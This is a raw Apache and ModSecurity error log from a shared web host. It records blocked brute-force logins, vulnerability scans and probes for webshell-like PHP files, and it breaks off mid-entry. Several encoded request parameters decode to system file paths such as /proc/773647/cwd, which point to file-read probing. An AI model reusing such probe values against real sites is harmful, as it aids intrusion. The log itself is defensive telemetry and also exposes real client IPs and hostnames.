https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:27.453703 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:27.524113 2026] [security2:error] [pid 531155:tid 531380] [client 148.113.209.179:36980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvymiP80klyS0NnrkwQAAAWk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:27.535577 2026] [security2:error] [pid 531797:tid 532009] [client 191.234.188.123:64598] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/pass.php"] [unique_id "ai3wv8TA7b1mZrmcA-8HewAAAiE"] [Sat Jun 13 18:07:27.723931 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.75:46440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:27.724218 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.75:46440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:27.910153 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:27.910442 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:27.912611 2026] [security2:error] [pid 531797:tid 532022] [client 172.56.168.133:38364] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wv8TA7b1mZrmcA-8HhQAAAi4"] [Sat Jun 13 18:07:27.912719 2026] [security2:error] [pid 531797:tid 532022] [client 172.56.168.133:38364] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wv8TA7b1mZrmcA-8HhQAAAi4"] [Sat Jun 13 18:07:28.021707 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:07:28.022159 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:07:28.139085 2026] [security2:error] [pid 531797:tid 531946] [remote 17.22.237.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwMTA7b1mZrmcA-8HjgACHVI"] [Sat Jun 13 18:07:28.167761 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.13:36819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:28.168036 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.13:36819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:28.181646 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.6:54510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:28.182043 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.6:54510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:28.342268 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.109:49644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:28.342565 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.109:49644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:28.349595 2026] [security2:error] [pid 531797:tid 532126] [client 148.113.209.179:36990] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wwMTA7b1mZrmcA-8HlgAAApE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:28.405782 2026] [security2:error] [pid 531797:tid 531934] [remote 57.141.14.101:37262] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3wwMTA7b1mZrmcA-8HmgACg0Y"], referer: https://nelsonfarmstn.com/product/tuscan-sun/?add_to_wishlist=378&_wpnonce=8d149de2a5&add-to-cart=1255 [Sat Jun 13 18:07:28.425201 2026] [security2:error] [pid 531155:tid 531212] [remote 17.241.219.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwCmiP80klyS0Nnrk1AABJDg"] [Sat Jun 13 18:07:28.483964 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:28.484436 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:28.546423 2026] [security2:error] [pid 531155:tid 531355] [client 20.9.67.71:64749] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/fix.php"] [unique_id "ai3wwCmiP80klyS0Nnrk2AAAAVA"] [Sat Jun 13 18:07:28.552613 2026] [security2:error] [pid 531797:tid 531920] [remote 17.246.23.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwMTA7b1mZrmcA-8HoQACJzg"] [Sat Jun 13 18:07:28.553288 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:07:28.553547 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:07:28.574514 2026] [security2:error] [pid 531797:tid 532065] [client 148.113.209.179:37006] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wwMTA7b1mZrmcA-8HowAAAlc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:28.800763 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.41:32803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:28.801035 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.41:32803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:28.817588 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:07:28.817873 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:07:28.864769 2026] [security2:error] [pid 531155:tid 531352] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/htmlspecialchars_decode_error.phpt"] [unique_id "ai3wwCmiP80klyS0Nnrk3AAAAU0"] [Sat Jun 13 18:07:28.980320 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:28.980587 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:29.032449 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE2 [Sat Jun 13 18:07:29.032897 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE2 [Sat Jun 13 18:07:29.083211 2026] [security2:error] [pid 531155:tid 531235] [remote 17.22.237.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwSmiP80klyS0Nnrk4AABD08"] [Sat Jun 13 18:07:29.135684 2026] [security2:error] [pid 531155:tid 531324] [client 20.151.217.54:48180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/admin.php"] [unique_id "ai3wwSmiP80klyS0Nnrk4QAAATE"] [Sat Jun 13 18:07:29.362366 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.16:40418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:29.362666 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.16:40418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:29.371560 2026] [security2:error] [pid 531155:tid 531183] [remote 17.246.19.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwSmiP80klyS0Nnrk5QABiBs"] [Sat Jun 13 18:07:29.503120 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:29.503571 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:29.563884 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:07:29.564255 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:07:29.716260 2026] [security2:error] [pid 531155:tid 531227] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3wwSmiP80klyS0Nnrk7AABVEc"], referer: https://northsecuritysystems.com/?product=domo-ip-6-megapixel-serie-pro-30-mts-ir-exir-exterior-ip67-ik10-lente-2-8-mm-wdr-120-db-poe-micro-sd-videoanaliticos-integrados [Sat Jun 13 18:07:29.733077 2026] [security2:error] [pid 531797:tid 532038] [client 191.234.188.123:63841] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/error_log.php"] [unique_id "ai3wwcTA7b1mZrmcA-8H2QAAAj0"] [Sat Jun 13 18:07:29.751860 2026] [security2:error] [pid 531155:tid 531326] [client 148.113.209.179:37010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wwSmiP80klyS0Nnrk7QAAATM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:29.846712 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.30:31690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:29.847000 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.30:31690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:30.032054 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:30.032523 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:30.084642 2026] [security2:error] [pid 531155:tid 531361] [client 20.9.67.71:64759] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/htto.php"] [unique_id "ai3wwimiP80klyS0Nnrk9QAAAVY"] [Sat Jun 13 18:07:30.089270 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 